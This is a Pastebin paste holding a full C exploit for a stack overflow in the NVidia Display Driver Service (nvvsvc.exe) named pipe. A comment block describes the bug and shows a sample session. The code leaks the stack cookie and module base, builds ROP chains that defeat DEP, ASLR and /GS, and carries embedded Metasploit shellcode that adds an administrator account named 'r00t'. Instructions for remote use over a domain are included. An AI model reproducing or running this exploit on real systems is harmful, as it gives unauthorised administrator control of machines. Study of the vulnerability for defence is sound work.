Advertisement
Guest User

Untitled

a guest
Dec 25th, 2012
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.69 KB | None | 0 0
  1. /*
  2.  
  3. NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
  4. - Bypass DEP + ASLR + /GS + CoE
  5. =============================================================
  6. halfdead@phear.org
  7.  
  8. Hey all!
  9.  
  10. Here is an exploit for an interesting stack buffer overflow in the NVidia
  11. Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
  12. which has a NULL DACL configured, which should mean that any logged on user
  13. or remote user in a domain context (Windows firewall/file sharing
  14. permitting) should be able to exploit this vulnerability.
  15.  
  16. The buffer overflow occurs as a result of a bad memmove operation, with the
  17. stack layout effectively looking like this:
  18.  
  19. [locals]
  20. [received-data]
  21. [response-buf]
  22. [stack cookie]
  23. [return address]
  24. [arg space]
  25. [etc]
  26.  
  27. The memmove copies data from the received-data buffer into the response-buf
  28. buffer, unchecked. It is possible to control the offset from which the copy
  29. starts in the received-data buffer by embedding a variable length string -
  30. which forms part of the protocol message being crafted - as well as the
  31. number of bytes copied into the response buffer.
  32.  
  33. The amount of data sent back over the named pipe is related to the number
  34. of bytes copied rather than the maximum number of bytes that the buffer is
  35. able to safely contain, so it is possible to leak stack data by copying
  36. from the end of the received-data buffer, through the response-buf buffer
  37. (which is zeroed first time round, and second time round contains whatever
  38. was in it beforehand), right to the end of the stack frame (including stack
  39. cookie and return address).
  40.  
  41. As the entire block of data copied is sent back, the stack cookie and
  42. nvvsvc.exe base can be determined using the aforementioned process. The
  43. stack is then trashed, but the function servicing pipe messages won't
  44. return until the final message has been received, so it doesn't matter too
  45. much.
  46.  
  47. It is then possible to exploit the bug by sending two further packets of
  48. data: One containing the leaked stack cookie and a ROP chain dynamically
  49. generated using offsets from the leaked nvvsvc.exe base (which simply fills
  50. the response-buf buffer when this data is echoed back) and a second packet
  51. which contains enough data to trigger an overwrite if data is copied from
  52. the start of the received-data buffer into the response-buf (including the
  53. data we primed the latter to contain - stack cookie and ROP chain).
  54.  
  55. Allowing the function to then return leads to execution of our ROP chain,
  56. and our strategically placed Metasploit net user /add shellcode! We get
  57. continuation of execution for free because the process spins up a thread
  58. to handle each new connection, and there are no deadlocks etc.
  59.  
  60. I've included two ROP chains, one which works against the nvvsvc.exe
  61. running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
  62. from the Dell site, and one which works against the latest version of the
  63. drivers for the same card, from:
  64. http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
  65. http://www.geforce.co.uk/drivers/results/54709
  66.  
  67. Hope you find this interesting - it's a fun bug to play with!
  68.  
  69. - Sample Session -
  70.  
  71. C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
  72. Alias name administrators
  73. Comment Administrators have complete and unrestricted access to the computer/domain
  74.  
  75. Members
  76.  
  77. -------------------------------------------------------------------------------
  78. Administrator
  79. Peter
  80. The command completed successfully.
  81.  
  82.  
  83. C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe
  84. ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
  85. [@peterwintrsmith]
  86. - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
  87. Usage: nvvsvc_expl.exe <ip>|local
  88.  
  89. !! If exploiting remotely, create a session with the target using your domain credentials !!
  90. Command: net use \\target.ip\ipc$ /u:domain\user password
  91.  
  92. C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
  93. ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
  94. [@peterwintrsmith]
  95. - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
  96.  
  97. Action 1 of 9: - CONNECT
  98.  
  99. Action 2 of 9: - CLIENT => SERVER
  100. Written 16416 (0x4020) characters to pipe
  101.  
  102. Action 3 of 9: - SERVER => CLIENT
  103. Read 16504 (0x4078) characters from pipe
  104.  
  105. Action 4 of 9: Building exploit ...
  106. => Stack cookie 0xe2bad48dd565:
  107. => nvvsvc.exe base 0x13f460000:
  108.  
  109. Action 5 of 9: - CLIENT => SERVER
  110. Written 16416 (0x4020) characters to pipe
  111.  
  112. Action 6 of 9: - SERVER => CLIENT
  113. Read 16384 (0x4000) characters from pipe
  114.  
  115. Action 7 of 9: - CLIENT => SERVER
  116. Written 16416 (0x4020) characters to pipe
  117.  
  118. Action 8 of 9: - SERVER => CLIENT
  119. Read 16896 (0x4200) characters from pipe
  120.  
  121. Action 9 of 9: - DISCONNECT
  122.  
  123. C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
  124. Alias name administrators
  125. Comment Administrators have complete and unrestricted access to the computer/domain
  126.  
  127. Members
  128.  
  129. -------------------------------------------------------------------------------
  130. Administrator
  131. Peter
  132. r00t
  133. The command completed successfully.
  134.  
  135. */
  136.  
  137. #include <stdio.h>
  138. #include <Windows.h>
  139.  
  140. enum EProtocolAction
  141. {
  142. ProtocolAction_Connect = 0,
  143. ProtocolAction_Receive,
  144. ProtocolAction_Send,
  145. ProtocolAction_Disconnect,
  146. ProtocolAction_ReadCookie,
  147. };
  148.  
  149. typedef struct {
  150. EProtocolAction Action;
  151. PBYTE Buf;
  152. DWORD Length;
  153. } ProtocolMessage;
  154.  
  155. const int GENERIC_BUF_LENGTH = 0x10000;
  156.  
  157. #define WriteByte(val) {buf[offs] = val; offs += 1;}
  158. #define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
  159. #define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
  160. #define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
  161. #define BufRemaining() (sizeof(buf) - offs)
  162.  
  163. DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
  164. {
  165. DWORD dwWritten = 0;
  166.  
  167. if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
  168. return dwWritten;
  169.  
  170. return 0;
  171. }
  172.  
  173. DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
  174. {
  175. DWORD dwRead = 0, dwAvailable = 0;
  176.  
  177. if(bTimeout)
  178. {
  179. for(DWORD i=0; i < 30; i++)
  180. {
  181. if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
  182. goto Cleanup;
  183.  
  184. if(dwAvailable)
  185. break;
  186.  
  187. Sleep(100);
  188. }
  189.  
  190. if(!dwAvailable)
  191. goto Cleanup;
  192. }
  193.  
  194. if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
  195. goto Cleanup;
  196.  
  197. Cleanup:
  198. return dwRead;
  199. }
  200.  
  201. HANDLE EstablishPipeConnection(char *pszPipe)
  202. {
  203. HANDLE hPipe = CreateFileA(
  204. pszPipe,
  205. GENERIC_READ | GENERIC_WRITE,
  206. 0,
  207. NULL,
  208. OPEN_EXISTING,
  209. 0,
  210. NULL
  211. );
  212.  
  213. if(hPipe == INVALID_HANDLE_VALUE)
  214. {
  215. return NULL;
  216. }
  217.  
  218. return hPipe;
  219. }
  220.  
  221. BYTE *BuildMalicious_LeakStack()
  222. {
  223. static BYTE buf[0x4020] = {0};
  224. UINT offs = 0;
  225.  
  226. WriteWord(0x52);
  227.  
  228. for(UINT i=0; i<0x2000; i++)
  229. WriteWord(0x41);
  230.  
  231. WriteWord(0);
  232.  
  233. WriteDword(0);
  234. WriteDword(0x4078);
  235.  
  236. WriteDword(0x41414141);
  237. WriteDword(0x41414141);
  238. WriteDword(0x41414141);
  239. WriteDword(0x41414141);
  240. WriteDword(0x41414141);
  241.  
  242. return buf;
  243. }
  244.  
  245. BYTE *BuildMalicious_FillBuf()
  246. {
  247. static BYTE buf[0x4020] = {0};
  248. UINT offs = 0;
  249.  
  250. WriteWord(0x52);
  251. WriteWord(0); // string
  252.  
  253. WriteDword(0);
  254. WriteDword(0x4000);
  255.  
  256. while(BufRemaining())
  257. WriteDword(0x43434343);
  258.  
  259. return buf;
  260. }
  261.  
  262. BYTE *BuildMalicious_OverwriteStack()
  263. {
  264. static BYTE buf[0x4020] = {0};
  265. UINT offs = 0;
  266.  
  267. WriteWord(0x52);
  268. WriteWord(0); // string
  269.  
  270. WriteDword(0);
  271. WriteDword(0x4340); // enough to copy shellcode too
  272.  
  273. while(BufRemaining())
  274. WriteDword(0x42424242);
  275.  
  276. return buf;
  277. }
  278.  
  279. int main(int argc, char* argv[])
  280. {
  281. DWORD dwReturnCode = 1, dwBytesInOut = 0;
  282. HANDLE hPipe = NULL;
  283. static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
  284.  
  285. printf(
  286. " ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **\n"
  287. " [@peterwintrsmith]\n"
  288. " - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -\n"
  289. );
  290.  
  291. if(argc < 2)
  292. {
  293. printf("\tUsage: %s <ip>|local\n\n", argv[0]);
  294.  
  295. printf(
  296. " !! If exploiting remotely, create a session with the target using your domain credentials !!\n"
  297. "\tCommand: net use \\\\target.ip\\ipc$ /u:domain\\user password\n"
  298. );
  299.  
  300. goto Cleanup;
  301. }
  302.  
  303. memset(rgReadBuf, 0, sizeof(rgReadBuf));
  304.  
  305. ProtocolMessage rgConvoMsg[] = {
  306. {ProtocolAction_Connect, NULL, 0},
  307. {ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
  308. {ProtocolAction_Receive, {0}, 0x4200},
  309. {ProtocolAction_ReadCookie, {0}, 0},
  310. {ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
  311. {ProtocolAction_Receive, {0}, 0x4000},
  312. {ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
  313. {ProtocolAction_Receive, {0}, 0x4200},
  314. {ProtocolAction_Disconnect, NULL, 0},
  315. };
  316.  
  317. DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
  318. BOOL bTryAgain = FALSE;
  319. char szPipe[256] = {0};
  320.  
  321. if(stricmp(argv[1], "local") == 0)
  322. strcpy(szPipe, "\\\\.\\pipe\\nvsr");
  323. else
  324. sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
  325.  
  326. while(i < dwNumberOfMessages)
  327. {
  328. printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
  329.  
  330. switch(rgConvoMsg[i].Action)
  331. {
  332. case ProtocolAction_Connect:
  333. printf(" - CONNECT\n");
  334.  
  335. hPipe = EstablishPipeConnection(szPipe);
  336. if(!hPipe)
  337. {
  338. printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
  339. goto Cleanup;
  340. }
  341.  
  342. break;
  343. case ProtocolAction_Disconnect:
  344. printf(" - DISCONNECT\n");
  345.  
  346. CloseHandle(hPipe);
  347. hPipe = NULL;
  348.  
  349. break;
  350. case ProtocolAction_Send:
  351. printf(" - CLIENT => SERVER\n");
  352.  
  353. if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
  354. {
  355. printf("!! Error writing to pipe\n");
  356. goto Cleanup;
  357. }
  358.  
  359. printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
  360.  
  361. break;
  362. case ProtocolAction_Receive:
  363. printf("\t - SERVER => CLIENT\n");
  364.  
  365. if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
  366. {
  367. printf("!! Error reading from pipe (at least, no data on pipe)\n");
  368. goto Cleanup;
  369. }
  370.  
  371. printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
  372.  
  373. break;
  374. case ProtocolAction_ReadCookie:
  375.  
  376. // x64 Metasploit cmd/exec:
  377. // "net user r00t r00t00r! /add & net localgroup administrators /add"
  378. // exitfunc=thread
  379. char pb_NetAdd_Admin[] = ""
  380. "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
  381. "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
  382. "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
  383. "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
  384. "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
  385. "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
  386. "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
  387. "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
  388. "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
  389. "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
  390. "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
  391. "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
  392. "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
  393. "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
  394. "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
  395. "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
  396. "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
  397. "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
  398. "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
  399. "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
  400. "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
  401. "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
  402. "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";
  403.  
  404. printf("Building exploit ...\n");
  405. unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
  406. printf("\t\t => Stack cookie 0x%x%x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
  407.  
  408. memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
  409.  
  410. unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
  411.  
  412. // Perform some limited fingerprinting (my default install version, vs latest at time of testing)
  413. switch(uiRetnAddress & 0xfff)
  414. {
  415. case 0x640: // 04/11/2011 05:19 1,640,768 nvvsvc.exe [md5=3947ad5d03e6abcce037801162fdb90d]
  416. {
  417. uiBase = uiRetnAddress - 0x4640;
  418. printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
  419.  
  420. pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
  421.  
  422. // Param 1: lpAddress [r11 (near rsp) into rcx]
  423. pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
  424. pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
  425. pRopChain[2] = 0; // Padding
  426. pRopChain[3] = 0; // ...
  427. pRopChain[4] = 0; // ...
  428. pRopChain[5] = 0; // ...
  429. pRopChain[6] = 0; // ...
  430. pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
  431. pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
  432. pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
  433. pRopChain[10] = 0; // Padding
  434. pRopChain[11] = 0; // ...
  435. pRopChain[12] = 0; // ...
  436. pRopChain[13] = 0; // ...
  437. pRopChain[14] = 0; // ...
  438. pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
  439. pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
  440. pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
  441. // Param 4: lpflOldProtect [r9 - already points at writable location]
  442. pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
  443. pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
  444. pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
  445. pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
  446.  
  447. memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
  448. }
  449. break;
  450. case 0xa11: // 01/12/2012 05:49 890,216 nvvsvc.exe [md5=3341d2c91989bc87c3c0baa97c27253b]
  451. {
  452. uiBase = uiRetnAddress - 0x3a11;
  453. printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
  454.  
  455. pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
  456.  
  457. // Param 1: lpAddress [r11 (near rsp) into rcx]
  458. pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
  459. pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
  460. pRopChain[2] = 0; // Padding ...
  461. pRopChain[3] = 0; // ...
  462. pRopChain[4] = 0; // ...
  463. pRopChain[5] = 0; // ...
  464. pRopChain[6] = 0; // ...
  465. pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
  466. pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
  467. pRopChain[9] = 0; // Padding ...
  468. // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
  469. pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
  470. pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
  471. pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
  472. pRopChain[13] = 0; // Padding ...
  473. pRopChain[14] = 0; // ...
  474. pRopChain[15] = 0; // ...
  475. pRopChain[16] = 0; // ...
  476. pRopChain[17] = 0; // ...
  477. pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
  478. // Param 4: lpflOldProtect [r9 - already points at writable location]
  479. pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
  480. pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
  481. pRopChain[21] = 0; // Padding ...
  482. pRopChain[22] = 0; // ...
  483. pRopChain[23] = 0; // ...
  484. pRopChain[24] = 0; // ...
  485. pRopChain[25] = 0; // ...
  486. pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
  487. pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
  488.  
  489. memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
  490. }
  491. break;
  492. }
  493.  
  494. break;
  495. }
  496.  
  497. i++;
  498. }
  499.  
  500. dwReturnCode = 0;
  501. Cleanup:
  502. if(hPipe)
  503. CloseHandle(hPipe);
  504.  
  505. return dwReturnCode;
  506. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement